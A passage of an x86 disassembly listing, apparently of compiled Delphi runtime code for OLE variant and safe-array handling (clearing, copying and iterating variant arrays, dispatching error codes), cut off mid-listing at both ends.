dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov ecx, 8 loc_2000D18C: ; CODE XREF: sub_2000D184+Dj push 0 push 0 dec ecx jnz short loc_2000D18C push ebx mov ebx, eax xor eax, eax push ebp push offset loc_2000D3C9 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, ebx cmp eax, 8002000Ah jg short loc_2000D1E6 jz loc_2000D24D cmp eax, 80020005h jg short loc_2000D1D7 jz short loc_2000D213 sub eax, 80004001h jz loc_2000D2BF sub eax, 0BFFEh jz loc_2000D32E jmp loc_2000D351 ; --------------------------------------------------------------------------- loc_2000D1D7: ; CODE XREF: sub_2000D184+34j sub eax, 80020008h jz short loc_2000D21D dec eax jz short loc_2000D243 jmp loc_2000D351 ; --------------------------------------------------------------------------- loc_2000D1E6: ; CODE XREF: sub_2000D184+27j sub eax, 8002000Bh jz loc_2000D273 sub eax, 2 jz loc_2000D299 sub eax, 50001h jz loc_2000D2E5 sub eax, 49h jz loc_2000D30B jmp loc_2000D351 ; --------------------------------------------------------------------------- loc_2000D213: ; CODE XREF: sub_2000D184+36j call sub_2000CF50 jmp loc_2000D3A1 ; --------------------------------------------------------------------------- loc_2000D21D: ; CODE XREF: sub_2000D184+58j lea edx, [ebp+var_4] mov eax, ds:off_2001456C call sub_20005994 mov ecx, [ebp+var_4] mov dl, 1 mov eax, off_2000CC24 call sub_2000A4E4 call sub_20003A08 jmp loc_2000D3A1 ; --------------------------------------------------------------------------- loc_2000D243: ; CODE XREF: sub_2000D184+5Bj call sub_2000D040 jmp loc_2000D3A1 ; --------------------------------------------------------------------------- loc_2000D24D: ; CODE XREF: sub_2000D184+29j lea edx, [ebp+var_8] mov eax, ds:off_20014408 call sub_20005994 mov ecx, [ebp+var_8] mov dl, 1 mov eax, off_2000CB5C call sub_2000A4E4 call sub_20003A08 jmp loc_2000D3A1 ; --------------------------------------------------------------------------- loc_2000D273: ; CODE XREF: sub_2000D184+67j lea edx, [ebp+var_C] mov eax, ds:off_20014530 call sub_20005994 mov ecx, [ebp+var_C] mov dl, 1 mov eax, off_2000CC88 call sub_2000A4E4 call sub_20003A08 jmp loc_2000D3A1 ; --------------------------------------------------------------------------- loc_2000D299: ; CODE XREF: sub_2000D184+70j lea edx, [ebp+var_10] mov eax, ds:off_20014598 call sub_20005994 mov ecx, [ebp+var_10] mov dl, 1 mov eax, off_2000CCEC call sub_2000A4E4 call sub_20003A08 jmp loc_2000D3A1 ; --------------------------------------------------------------------------- loc_2000D2BF: ; CODE XREF: sub_2000D184+3Dj lea edx, [ebp+var_14] mov eax, ds:off_200144D8 call sub_20005994 mov ecx, [ebp+var_14] mov dl, 1 mov eax, off_2000CDBC call sub_2000A4E4 call sub_20003A08 jmp loc_2000D3A1 ; --------------------------------------------------------------------------- loc_2000D2E5: ; CODE XREF: sub_2000D184+7Bj lea edx, [ebp+var_18] mov eax, ds:off_2001442C call sub_20005994 mov ecx, [ebp+var_18] mov dl, 1 mov eax, off_2000CE20 call sub_2000A4E4 call sub_20003A08 jmp loc_2000D3A1 ; --------------------------------------------------------------------------- loc_2000D30B: ; CODE XREF: sub_2000D184+84j lea edx, [ebp+var_1C] mov eax, ds:off_20014440 call sub_20005994 mov ecx, [ebp+var_1C] mov dl, 1 mov eax, off_2000CBC0 call sub_2000A4E4 call sub_20003A08 jmp short loc_2000D3A1 ; --------------------------------------------------------------------------- loc_2000D32E: ; CODE XREF: sub_2000D184+48j lea edx, [ebp+var_20] mov eax, ds:off_20014404 call sub_20005994 mov ecx, [ebp+var_20] mov dl, 1 mov eax, off_2000CE88 call sub_2000A4E4 call sub_20003A08 jmp short loc_2000D3A1 ; --------------------------------------------------------------------------- loc_2000D351: ; CODE XREF: sub_2000D184+4Ej ; sub_2000D184+5Dj ... mov eax, ds:off_20014578 mov eax, [eax] mov [ebp+var_38], eax mov [ebp+var_34], 0Bh mov [ebp+var_30], ebx mov [ebp+var_2C], 0 lea edx, [ebp+var_3C] mov eax, ebx call sub_20009CDC mov eax, [ebp+var_3C] mov [ebp+var_28], eax mov [ebp+var_24], 0Bh lea eax, [ebp+var_38] push eax push 2 lea edx, [ebp+var_40] mov eax, ds:off_20014488 call sub_20005994 mov ecx, [ebp+var_40] mov dl, 1 mov eax, off_20006B1C call sub_2000A520 call sub_20003A08 loc_2000D3A1: ; CODE XREF: sub_2000D184+94j ; sub_2000D184+BAj ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000D3D0 loc_2000D3AE: ; CODE XREF: sub_2000D184+24Aj lea eax, [ebp+var_40] mov edx, 2 call sub_20003FCC lea eax, [ebp+var_20] mov edx, 8 call sub_20003FCC retn ; --------------------------------------------------------------------------- loc_2000D3C9: ; DATA XREF: sub_2000D184+15o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000D3AE ; --------------------------------------------------------------------------- loc_2000D3D0: ; CODE XREF: sub_2000D184+244j ; DATA XREF: sub_2000D184+225o pop ebx mov esp, ebp pop ebp retn sub_2000D184 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000D3D8 proc near ; CODE XREF: sub_2000D4F8+23p ; sub_2000D4F8+B4p ... test eax, eax jz short locret_2000D3E1 call sub_2000D184 locret_2000D3E1: ; CODE XREF: sub_2000D3D8+2j retn sub_2000D3D8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000D3E4 proc near ; CODE XREF: sub_2000DA5C+2Cp ; sub_2000DA94+2Cp ... push ebx test eax, eax jz short loc_2000D415 mov ebx, eax sub ebx, 80020005h jz short loc_2000D3FA sub ebx, 5 jz short loc_2000D405 jmp short loc_2000D410 ; --------------------------------------------------------------------------- loc_2000D3FA: ; CODE XREF: sub_2000D3E4+Dj mov eax, edx mov edx, ecx call sub_2000CFA4 jmp short loc_2000D415 ; --------------------------------------------------------------------------- loc_2000D405: ; CODE XREF: sub_2000D3E4+12j mov eax, edx mov edx, ecx call sub_2000D094 jmp short loc_2000D415 ; --------------------------------------------------------------------------- loc_2000D410: ; CODE XREF: sub_2000D3E4+14j call sub_2000D184 loc_2000D415: ; CODE XREF: sub_2000D3E4+3j ; sub_2000D3E4+1Fj ... pop ebx retn sub_2000D3E4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000D418 proc near ; CODE XREF: sub_2000EF3Cp ; DATA XREF: CODE:2000F100o var_4 = dword ptr -4 push ebp mov ebp, esp push 0 xor eax, eax push ebp push offset loc_2000D462 push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_4] mov eax, ds:off_200143C8 call sub_20005994 mov ecx, [ebp+var_4] mov dl, 1 mov eax, off_2000CEEC call sub_2000A4E4 call sub_20003A08 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000D469 loc_2000D459: ; CODE XREF: sub_2000D418+4Fj lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_2000D462: ; DATA XREF: sub_2000D418+8o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000D459 ; --------------------------------------------------------------------------- loc_2000D469: ; CODE XREF: sub_2000D418+49j ; DATA XREF: sub_2000D418+3Co pop ecx pop ebp retn sub_2000D418 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000D46C proc near ; CODE XREF: sub_2000D4F8+123p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ecx, [ebp+arg_0] add ecx, 0FFFFFD00h loc_2000D479: ; CODE XREF: sub_2000D46C+28j mov edx, [ecx+eax*8+4] add edx, [ecx+eax*8] mov ebx, [ebp+arg_0] cmp edx, [ebx+eax*4-100h] setnle dl dec eax test dl, dl jz short loc_2000D496 test eax, eax jge short loc_2000D479 loc_2000D496: ; CODE XREF: sub_2000D46C+24j mov eax, edx pop ebx pop ebp retn sub_2000D46C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000D49C proc near ; CODE XREF: sub_2000D49C+4Dp ; sub_2000D4F8+15Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi mov dl, 1 mov ecx, [ebp+arg_0] inc dword ptr [ecx+eax*4-100h] mov ecx, [ebp+arg_0] mov ecx, [ecx+eax*8-2FCh] mov ebx, ecx mov esi, [ebp+arg_0] add ebx, [esi+eax*8-300h] mov esi, [ebp+arg_0] cmp ebx, [esi+eax*4-100h] jg short loc_2000D4F1 test eax, eax jnz short loc_2000D4D7 xor edx, edx jmp short loc_2000D4F1 ; --------------------------------------------------------------------------- loc_2000D4D7: ; CODE XREF: sub_2000D49C+35j mov edx, [ebp+arg_0] mov edx, [ebp+arg_0] mov [edx+eax*4-100h], ecx mov edx, [ebp+arg_0] push edx dec eax call sub_2000D49C pop ecx mov edx, eax loc_2000D4F1: ; CODE XREF: sub_2000D49C+31j ; sub_2000D49C+39j mov eax, edx pop esi pop ebx pop ebp retn sub_2000D49C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000D4F8 proc near ; CODE XREF: sub_2000D674+4Bp var_318 = dword ptr -318h ppvData = dword ptr -314h var_310 = dword ptr -310h plUbound = dword ptr -30Ch psa = dword ptr -308h pvarg = dword ptr -304h var_300 = byte ptr -300h var_2FC = byte ptr -2FCh rgIndices = dword ptr -100h push ebp mov ebp, esp add esp, 0FFFFFCE8h push ebx push esi push edi mov [ebp+pvarg], eax mov eax, [ebp+pvarg] test byte ptr [eax+1], 20h jnz short loc_2000D520 mov eax, 80070057h call sub_2000D3D8 loc_2000D520: ; CODE XREF: sub_2000D4F8+1Cj mov eax, [ebp+pvarg] mov ax, [eax] mov edx, eax and dx, 0FFFh cmp dx, 0Ch jnz loc_2000D65C mov edx, [ebp+pvarg] test ah, 40h jz short loc_2000D558 mov eax, [ebp+pvarg] mov eax, [eax+8] mov eax, [eax] mov [ebp+psa], eax jmp short loc_2000D567 ; --------------------------------------------------------------------------- loc_2000D558: ; CODE XREF: sub_2000D4F8+4Bj mov eax, [ebp+pvarg] mov eax, [eax+8] mov [ebp+psa], eax loc_2000D567: ; CODE XREF: sub_2000D4F8+5Ej mov eax, [ebp+psa] movzx eax, word ptr [eax] mov [ebp+var_310], eax mov ebx, [ebp+var_310] dec ebx test ebx, ebx jl short loc_2000D5EC inc ebx xor edi, edi lea esi, [ebp+var_300] loc_2000D58A: ; CODE XREF: sub_2000D4F8+F2j mov eax, esi mov [ebp+var_318], eax mov eax, [ebp+var_318] add eax, 4 push eax ; plLbound lea eax, [edi+1] push eax ; nDim mov eax, [ebp+psa] push eax ; psa call SafeArrayGetLBound call sub_2000D3D8 lea eax, [ebp+plUbound] push eax ; plUbound lea eax, [edi+1] push eax ; nDim mov eax, [ebp+psa] push eax ; psa call SafeArrayGetUBound call sub_2000D3D8 mov eax, [ebp+var_318] mov edx, [ebp+plUbound] sub edx, [eax+4] inc edx mov eax, [ebp+var_318] mov [eax], edx inc edi add esi, 8 dec ebx jnz short loc_2000D58A loc_2000D5EC: ; CODE XREF: sub_2000D4F8+87j mov ebx, [ebp+var_310] dec ebx test ebx, ebx jl short loc_2000D611 inc ebx lea eax, [ebp+var_2FC] lea edx, [ebp+rgIndices] loc_2000D604: ; CODE XREF: sub_2000D4F8+117j mov ecx, [eax] mov [edx], ecx add edx, 4 add eax, 8 dec ebx jnz short loc_2000D604 loc_2000D611: ; CODE XREF: sub_2000D4F8+FDj ; sub_2000D4F8+162j push ebp mov ebx, [ebp+var_310] dec ebx mov eax, ebx call sub_2000D46C pop ecx test al, al jz short loc_2000D64F lea eax, [ebp+ppvData] push eax ; ppvData lea eax, [ebp+rgIndices] push eax ; rgIndices mov eax, [ebp+psa] push eax ; psa call SafeArrayPtrOfIndex call sub_2000D3D8 mov eax, [ebp+ppvData] call sub_2000D6F0 loc_2000D64F: ; CODE XREF: sub_2000D4F8+12Bj push ebp mov eax, ebx call sub_2000D49C pop ecx test al, al jnz short loc_2000D611 loc_2000D65C: ; CODE XREF: sub_2000D4F8+3Cj mov eax, [ebp+pvarg] push eax ; pvarg call VariantClear call sub_2000D3D8 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_2000D4F8 endp ; =============== S U B R O U T I N E ======================================= sub_2000D674 proc near ; CODE XREF: sub_2000D6F0:loc_2000D6FDp ; sub_2000D96C+11p ... var_C = dword ptr -0Ch push ebx push esi push ecx mov ebx, eax mov si, [ebx] cmp si, 14h jnb short loc_2000D68F push ebx ; pvarg call VariantClear call sub_2000D3D8 jmp short loc_2000D6EA ; --------------------------------------------------------------------------- loc_2000D68F: ; CODE XREF: sub_2000D674+Cj cmp si, 100h jnz short loc_2000D6A5 mov word ptr [ebx], 0 lea eax, [ebx+8] call sub_20003FA8 jmp short loc_2000D6EA ; --------------------------------------------------------------------------- loc_2000D6A5: ; CODE XREF: sub_2000D674+20j cmp si, 101h jnz short loc_2000D6B6 mov eax, ebx call ds:dword_20015824 jmp short loc_2000D6EA ; --------------------------------------------------------------------------- loc_2000D6B6: ; CODE XREF: sub_2000D674+36j test si, 2000h jz short loc_2000D6C6 mov eax, ebx call sub_2000D4F8 jmp short loc_2000D6EA ; --------------------------------------------------------------------------- loc_2000D6C6: ; CODE XREF: sub_2000D674+47j mov edx, esp mov eax, esi call sub_2000EFAC test al, al jz short loc_2000D6DF mov edx, ebx mov eax, [esp+0Ch+var_C] mov ecx, [eax] call dword ptr [ecx+24h] jmp short loc_2000D6EA ; --------------------------------------------------------------------------- loc_2000D6DF: ; CODE XREF: sub_2000D674+5Dj push ebx ; pvarg call VariantClear call sub_2000D3D8 loc_2000D6EA: ; CODE XREF: sub_2000D674+19j ; sub_2000D674+2Fj ... pop edx pop esi pop ebx retn sub_2000D674 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_2000D6F0 proc near ; CODE XREF: sub_2000D4F8+152p ; sub_2000D704+1p ... test word ptr [eax], 0BFE8h jnz short loc_2000D6FD mov word ptr [eax], 0 retn ; --------------------------------------------------------------------------- loc_2000D6FD: ; CODE XREF: sub_2000D6F0+5j call sub_2000D674 retn sub_2000D6F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000D704 proc near ; CODE XREF: CODE:2000F0C0p ; DATA XREF: CODE:2000F124o push eax call sub_2000D6F0 pop eax retn sub_2000D704 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000D70C proc near ; CODE XREF: sub_2000D798+14Cp arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ecx, [ebp+arg_0] add ecx, 0FFFFFD00h loc_2000D719: ; CODE XREF: sub_2000D70C+28j mov edx, [ecx+eax*8+4] add edx, [ecx+eax*8] mov ebx, [ebp+arg_0] cmp edx, [ebx+eax*4-100h] setnle dl dec eax test dl, dl jz short loc_2000D736 test eax, eax jge short loc_2000D719 loc_2000D736: ; CODE XREF: sub_2000D70C+24j mov eax, edx pop ebx pop ebp retn sub_2000D70C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000D73C proc near ; CODE XREF: sub_2000D73C+4Dp ; sub_2000D798+1A5p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi mov dl, 1 mov ecx, [ebp+arg_0] inc dword ptr [ecx+eax*4-100h] mov ecx, [ebp+arg_0] mov ecx, [ecx+eax*8-2FCh] mov ebx, ecx mov esi, [ebp+arg_0] add ebx, [esi+eax*8-300h] mov esi, [ebp+arg_0] cmp ebx, [esi+eax*4-100h] jg short loc_2000D791 test eax, eax jnz short loc_2000D777 xor edx, edx jmp short loc_2000D791 ; --------------------------------------------------------------------------- loc_2000D777: ; CODE XREF: sub_2000D73C+35j mov edx, [ebp+arg_0] mov edx, [ebp+arg_0] mov [edx+eax*4-100h], ecx mov edx, [ebp+arg_0] push edx dec eax call sub_2000D73C pop ecx mov edx, eax loc_2000D791: ; CODE XREF: sub_2000D73C+31j ; sub_2000D73C+39j mov eax, edx pop esi pop ebx pop ebp retn sub_2000D73C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000D798 proc near ; CODE XREF: sub_2000D96C+75p var_320 = dword ptr -320h var_31C = dword ptr -31Ch ppvData = dword ptr -318h psa = dword ptr -314h cDims = dword ptr -310h plUbound = dword ptr -30Ch var_308 = dword ptr -308h pvargDest = dword ptr -304h rgsabound = SAFEARRAYBOUND ptr -300h rgIndices = dword ptr -100h push ebp mov ebp, esp add esp, 0FFFFFCE0h push ebx push esi push edi mov [ebp+var_308], ecx mov ebx, edx mov [ebp+pvargDest], eax test byte ptr [ebx+1], 20h jnz short loc_2000D7C2 mov eax, 80070057h call sub_2000D3D8 loc_2000D7C2: ; CODE XREF: sub_2000D798+1Ej mov ax, [ebx] mov edx, eax and dx, 0FFFh cmp dx, 0Ch jnz loc_2000D949 test ah, 40h jz short loc_2000D7E8 mov eax, [ebx+8] mov eax, [eax] mov [ebp+psa], eax jmp short loc_2000D7F1 ; --------------------------------------------------------------------------- loc_2000D7E8: ; CODE XREF: sub_2000D798+41j mov eax, [ebx+8] mov [ebp+psa], eax loc_2000D7F1: ; CODE XREF: sub_2000D798+4Ej mov eax, [ebp+psa] movzx eax, word ptr [eax] mov [ebp+cDims], eax mov ebx, [ebp+cDims] dec ebx test ebx, ebx jl short loc_2000D876 inc ebx xor edi, edi lea esi, [ebp+rgsabound] loc_2000D814: ; CODE XREF: sub_2000D798+DCj mov eax, esi mov [ebp+var_320], eax mov eax, [ebp+var_320] add eax, 4 push eax ; plLbound lea eax, [edi+1] push eax ; nDim mov eax, [ebp+psa] push eax ; psa call SafeArrayGetLBound call sub_2000D3D8 lea eax, [ebp+plUbound] push eax ; plUbound lea eax, [edi+1] push eax ; nDim mov eax, [ebp+psa] push eax ; psa call SafeArrayGetUBound call sub_2000D3D8 mov eax, [ebp+var_320] mov edx, [ebp+plUbound] sub edx, [eax+4] inc edx mov eax, [ebp+var_320] mov [eax], edx inc edi add esi, 8 dec ebx jnz short loc_2000D814 loc_2000D876: ; CODE XREF: sub_2000D798+71j lea eax, [ebp+rgsabound] push eax ; rgsabound mov eax, [ebp+cDims] push eax ; cDims push 0Ch ; vt call SafeArrayCreate mov esi, eax test esi, esi jnz short loc_2000D896 call sub_2000D130 loc_2000D896: ; CODE XREF: sub_2000D798+F7j mov eax, [ebp+pvargDest] call sub_2000D6F0 mov eax, [ebp+pvargDest] mov word ptr [eax], 200Ch mov eax, [ebp+pvargDest] mov [eax+8], esi mov ebx, [ebp+cDims] dec ebx test ebx, ebx jl short loc_2000D8DA inc ebx lea eax, [ebp+rgsabound.lLbound] lea edx, [ebp+rgIndices] loc_2000D8CD: ; CODE XREF: sub_2000D798+140j mov ecx, [eax] mov [edx], ecx add edx, 4 add eax, 8 dec ebx jnz short loc_2000D8CD loc_2000D8DA: ; CODE XREF: sub_2000D798+126j ; sub_2000D798+1ADj push ebp mov ebx, [ebp+cDims] dec ebx mov eax, ebx call sub_2000D70C pop ecx test al, al jz short loc_2000D93A lea eax, [ebp+ppvData] push eax ; ppvData lea eax, [ebp+rgIndices] push eax ; rgIndices mov eax, [ebp+psa] push eax ; psa call SafeArrayPtrOfIndex call sub_2000D3D8 lea eax, [ebp+var_31C] push eax ; ppvData lea eax, [ebp+rgIndices] push eax ; rgIndices push esi ; psa call SafeArrayPtrOfIndex call sub_2000D3D8 mov eax, [ebp+ppvData] mov edx, eax mov eax, [ebp+var_31C] call [ebp+var_308] loc_2000D93A: ; CODE XREF: sub_2000D798+154j push ebp mov eax, ebx call sub_2000D73C pop ecx test al, al jnz short loc_2000D8DA jmp short loc_2000D95B ; --------------------------------------------------------------------------- loc_2000D949: ; CODE XREF: sub_2000D798+38j push ebx ; pvargSrc mov eax, [ebp+pvargDest] push eax ; pvargDest call VariantCopy call sub_2000D3D8 loc_2000D95B: ; CODE XREF: sub_2000D798+1AFj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_2000D798 endp ; --------------------------------------------------------------------------- align 4 loc_2000D964: ; DATA XREF: sub_2000D96C+6Co call sub_2000DA18 retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000D96C proc near ; CODE XREF: sub_2000DA18+3Bp var_10 = dword ptr -10h push ebx push esi push edi push ecx mov esi, edx mov ebx, eax test word ptr [ebx], 0BFE8h jz short loc_2000D982 mov eax, ebx call sub_2000D674 loc_2000D982: ; CODE XREF: sub_2000D96C+Dj mov di, [esi] cmp di, 14h jnb short loc_2000D999 push esi ; pvargSrc push ebx ; pvargDest call VariantCopy call sub_2000D3D8 jmp short loc_2000DA12 ; --------------------------------------------------------------------------- loc_2000D999: ; CODE XREF: sub_2000D96C+1Dj cmp di, 100h jnz short loc_2000D9B7 mov word ptr [ebx], 100h xor eax, eax mov [ebx+8], eax lea eax, [ebx+8] mov edx, [esi+8] call sub_20003FFC jmp short loc_2000DA12 ; --------------------------------------------------------------------------- loc_2000D9B7: ; CODE XREF: sub_2000D96C+32j cmp di, 101h jnz short loc_2000D9D1 mov [ebx], di mov eax, [esi+8] mov [ebx+8], eax mov eax, ebx call ds:dword_2001582C jmp short loc_2000DA12 ; --------------------------------------------------------------------------- loc_2000D9D1: ; CODE XREF: sub_2000D96C+50j test di, 2000h jz short loc_2000D9E8 mov ecx, offset loc_2000D964 mov edx, esi mov eax, ebx call sub_2000D798 jmp short loc_2000DA12 ; --------------------------------------------------------------------------- loc_2000D9E8: ; CODE XREF: sub_2000D96C+6Aj mov edx, esp mov eax, edi call sub_2000EFAC test al, al jz short loc_2000DA06 push 0 mov ecx, esi mov edx, ebx mov eax, [esp+14h+var_10] mov ebx, [eax] call dword ptr [ebx+28h] jmp short loc_2000DA12 ; --------------------------------------------------------------------------- loc_2000DA06: ; CODE XREF: sub_2000D96C+87j push esi ; pvargSrc push ebx ; pvargDest call VariantCopy call sub_2000D3D8 loc_2000DA12: ; CODE XREF: sub_2000D96C+2Bj ; sub_2000D96C+49j ... pop edx pop edi pop esi pop ebx retn sub_2000D96C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000DA18 proc near ; CODE XREF: CODE:loc_2000D964p ; sub_2000DC5C+28p ... push ebx push esi mov ebx, edx mov esi, eax cmp esi, ebx jz short loc_2000DA58 test word ptr [ebx], 0BFE8h jnz short loc_2000DA4F test word ptr [esi], 0BFE8h jz short loc_2000DA37 mov eax, esi call sub_2000D674 loc_2000DA37: ; CODE XREF: sub_2000DA18+16j mov eax, [ebx] mov [esi], eax mov eax, [ebx+4] mov [esi+4], eax mov eax, [ebx+8] mov [esi+8], eax mov eax, [ebx+0Ch] mov [esi+0Ch], eax jmp short loc_2000DA58 ; --------------------------------------------------------------------------- loc_2000DA4F: ; CODE XREF: sub_2000DA18+Fj mov edx, ebx mov eax, esi call sub_2000D96C loc_2000DA58: ; CODE XREF: sub_2000DA18+8j ; sub_2000DA18+35j pop esi pop ebx retn sub_2000DA18 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000DA5C proc near ; CODE XREF: sub_2000DD44+141p ; sub_2000DD44+3ABp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov ebx, eax mov eax, ebx call sub_20004664 push eax push 0 push 400h push [ebp+arg_4] push [ebp+arg_0] mov eax, ds:off_2001440C mov eax, [eax] call eax mov cx, 8 mov dx, 6 call sub_2000D3E4 pop ebx pop ebp retn 8 sub_2000DA5C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000DA94 proc near ; CODE XREF: sub_2000DD44+15Ep ; sub_2000DD44+3CAp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov ebx, eax mov eax, ebx call sub_20004664 push eax push 0 push 400h push [ebp+arg_4] push [ebp+arg_0] mov eax, ds:off_200144B0 mov eax, [eax] call eax mov cx, 8 mov dx, 7 call sub_2000D3E4 pop ebx pop ebp retn 8 sub_2000DA94 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000DACC proc near ; CODE XREF: sub_2000DD44+1A9p ; sub_2000DD44+3F8p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp xor ecx, ecx push ecx push ecx push ecx push ecx push ebx push esi mov ebx, edx mov esi, eax xor eax, eax push ebp push offset loc_2000DB82 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, ebx call sub_20004664 push eax push 0 push 400h push esi mov eax, ds:off_20014534 mov eax, [eax] call eax mov cx, 8 mov dx, 0Bh call sub_2000D3E4 mov al, ds:byte_2001433C sub al, 1 jb short loc_2000DB67 jz short loc_2000DB20 dec al jz short loc_2000DB41 jmp short loc_2000DB62 ; --------------------------------------------------------------------------- loc_2000DB20: ; CODE XREF: sub_2000DACC+4Cj lea eax, [ebp+var_8] mov edx, [ebx] call sub_20004230 mov eax, [ebp+var_8] lea edx, [ebp+var_4] call sub_20006F88 mov edx, [ebp+var_4] mov eax, ebx call sub_200047B0 jmp short loc_2000DB67 ; --------------------------------------------------------------------------- loc_2000DB41: ; CODE XREF: sub_2000DACC+50j lea eax, [ebp+var_10] mov edx, [ebx] call sub_20004230 mov eax, [ebp+var_10] lea edx, [ebp+var_C] call sub_20006F4C mov edx, [ebp+var_C] mov eax, ebx call sub_200047B0 jmp short loc_2000DB67 ; --------------------------------------------------------------------------- loc_2000DB62: ; CODE XREF: sub_2000DACC+52j call sub_2000D040 loc_2000DB67: ; CODE XREF: sub_2000DACC+4Aj ; sub_2000DACC+73j ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000DB89 loc_2000DB74: ; CODE XREF: sub_2000DACC+BBj lea eax, [ebp+var_10] mov edx, 4 call sub_20003FCC retn ; --------------------------------------------------------------------------- loc_2000DB82: ; DATA XREF: sub_2000DACC+12o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000DB74 ; --------------------------------------------------------------------------- loc_2000DB89: ; CODE XREF: sub_2000DACC+B5j ; DATA XREF: sub_2000DACC+A3o pop esi pop ebx mov esp, ebp pop ebp retn sub_2000DACC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000DB90 proc near ; CODE XREF: sub_2000DD44+260p ; sub_2000DD44+4AFp ... var_18 = dword ptr -18h var_14 = dword ptr -14h pvarg = VARIANTARG ptr -10h push ebp mov ebp, esp add esp, 0FFFFFFE8h push ebx push esi xor ecx, ecx mov [ebp+var_14], ecx mov [ebp+var_18], ecx mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_2000DC4F push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+pvarg] push eax ; pvarg call VariantInit xor eax, eax push ebp push offset loc_2000DC2D push dword ptr fs:[eax] mov fs:[eax], esp push 8 push 0 push 400h push ebx lea eax, [ebp+pvarg] push eax mov eax, ds:off_20014544 mov eax, [eax] call eax mov dx, [ebx] mov cx, 100h call sub_2000D3E4 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_18] mov edx, dword ptr [ebp+pvarg.anonymous_0+8] call sub_20004774 mov eax, [ebp+var_18] mov ecx, 7FFFFFFFh mov edx, 1 call sub_20004860 mov edx, [ebp+var_14] mov eax, esi call sub_20004230 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000DC34 loc_2000DC24: ; CODE XREF: sub_2000DB90+A2j lea eax, [ebp+pvarg] call sub_2000D6F0 retn ; --------------------------------------------------------------------------- loc_2000DC2D: ; DATA XREF: sub_2000DB90+2Eo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000DC24 ; --------------------------------------------------------------------------- loc_2000DC34: ; CODE XREF: sub_2000DB90+9Cj ; DATA XREF: sub_2000DB90+8Fo xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000DC56 loc_2000DC41: ; CODE XREF: sub_2000DB90+C4j lea eax, [ebp+var_18] mov edx, 2 call sub_2000467C retn ; --------------------------------------------------------------------------- loc_2000DC4F: ; DATA XREF: sub_2000DB90+17o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000DC41 ; --------------------------------------------------------------------------- loc_2000DC56: ; CODE XREF: sub_2000DB90+BEj ; DATA XREF: sub_2000DB90+ACo pop esi pop ebx mov esp, ebp pop ebp retn sub_2000DB90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000DC5C proc near ; CODE XREF: sub_2000DD44+298p pvarg = VARIANTARG ptr -10h push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx push esi mov esi, edx mov ebx, eax lea eax, [ebp+pvarg] push eax ; pvarg call VariantInit xor eax, eax push ebp push offset loc_2000DCB2 push dword ptr fs:[eax] mov fs:[eax], esp mov edx, ebx lea eax, [ebp+pvarg] call sub_2000DA18 lea eax, [ebp+pvarg] call ds:dword_20015828 lea edx, [ebp+pvarg] mov eax, esi call sub_2000DD44 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000DCB9 loc_2000DCA9: 